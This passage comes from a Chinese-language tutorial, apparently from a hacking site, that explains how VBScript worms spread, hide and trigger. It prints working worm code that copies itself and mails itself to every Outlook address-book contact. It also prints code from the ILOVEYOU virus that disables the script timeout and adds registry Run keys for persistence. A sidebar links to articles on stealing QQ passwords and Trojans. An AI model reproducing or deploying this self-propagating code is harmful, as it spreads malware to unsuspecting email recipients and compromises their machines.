| Set objFs=CreateObject (“Scripting.FileSystemObject”) '创建一个文件系统对象 objFs.CreateTextFile ("C:\virus.txt", 1) '通过文件系统对象的方法创建了一个TXT文件。 |
| objFs.GetFile (WScript.ScriptFullName).Copy ("C:\virus.vbs") |
| Set objOA=Wscript.CreateObject ("Outlook.Application") '创建一个OUTLOOK应用的对象 Set objMapi=objOA.GetNameSpace ("MAPI") '取得MAPI名字空间 For i=1 to objMapi.AddressLists.Count '遍历地址簿 Set objAddList=objMapi.AddressLists (i) For j=1 To objAddList. AddressEntries.Count Set objMail=objOA.CreateItem (0) objMail.Recipients.Add (objAddList. AddressEntries (j)) '取得收件人邮件地址 objMail.Subject="你好!" '设置邮件主题 objMail.Body="这次给你的附件,是我的新文档!" '设置信件内容 objMail.Attachments.Add (“c:\virus.vbs") '把自己作为附件扩散出去 objMail.Send '发送邮件 Next Next Set objMapi=Nothing '清空objMapi变量,释放资源,值得学习的编程习惯 Set objOA=Nothing '清空objOA变量 |
这一小段代码的功能是向地址簿中的用户发送电子邮件,并将自己作为附件扩散出去。这段代码中的第一行是创建一个Outlook的对象,是必不可少的。在其下是一个循环,在循环中不断地向地址簿中的电子邮件地址发送内容相同的信件。蠕虫病毒就是这样进行传播的。
三、蠕虫病毒具有一定的潜伏性
要使病毒潜伏,对于“脚本”语言并不是很难的一件事,因为这种语言并不是面向对象的可视化编程,自然就不存在窗体,所以可以免去隐藏窗体的麻烦。从I love you病毒中,很容易看出蠕虫病毒在潜伏时的特点,它们多数是修改注册表等信息以判断各种条件及取消一些限制。以下是从I love you病毒中提取出的部分代码:
| On Error Resume Next '容错语句,避免程序崩溃 dim wscr,rr set wscr=CreateObject ("WScript.Shell") '击活 WScript.Shell 对象 rr=wscr.RegRead ("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout") '读入注册表中的超时键值 if (rr>=1) then '超时设置 wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD" end if |
上面这部分代码很明显是调整脚本语言的超时设置。下面的一段代码则是修改注册表,使得每次系统启动自动执行脚本:
| regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion \Run\MSKernel32",dirsystem&"\MSKernel32.vbs" regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion \RunServices\Win32DLL",dirwin&"\Win32DLL.vbs" |
其中MSKernel32.vbs和Win32DLL.vbs是病毒脚本的一个副本。怎么样,看出蠕虫病毒是怎样潜伏的吧?
四、蠕虫病毒具有特定的触发性
在这里我们以时间触发为例,使用一个很简单的判断程序,来判断时间到了没有,如果有就开始执行代码。好,我们看看程序:
| x=time () if x=xx.xx.xx then ………… end if |
就这么简单一个程序,就可以实现特定条件触发事件的目的。当然了,病毒制作者还可以通过监视运行某个程序而触发事件,也可以响应键盘触发事件等等。
| Visual C++编程窃取QQ密码 | 12-08 | |
| 编程实现重起网卡等设备 | 12-07 | |
| 一个邮件群发的Delphi代码! | 12-06 | |
| Delphi下Internet的编程技巧 | 11-20 | |
| Delphi黑客编程-如何映射虚拟盘 | 11-15 | |
| 用DETOURS库获取NT管理员权限 | 11-08 | |
| 一篇关于vb代码质量提高的文章 | 10-30 | |
| 解析Asp.net木马文件操作 | 10-04 | |
| 盗QQ源码 | 10-01 | |
| 如何映射肉鸡磁盘(Delphi黑客编程 | 09-24 | |
| 打造无DLL版穿墙Downloader(Delp | 09-22 | |
| 调用指定的Windows程序(Delphi编 | 09-19 | |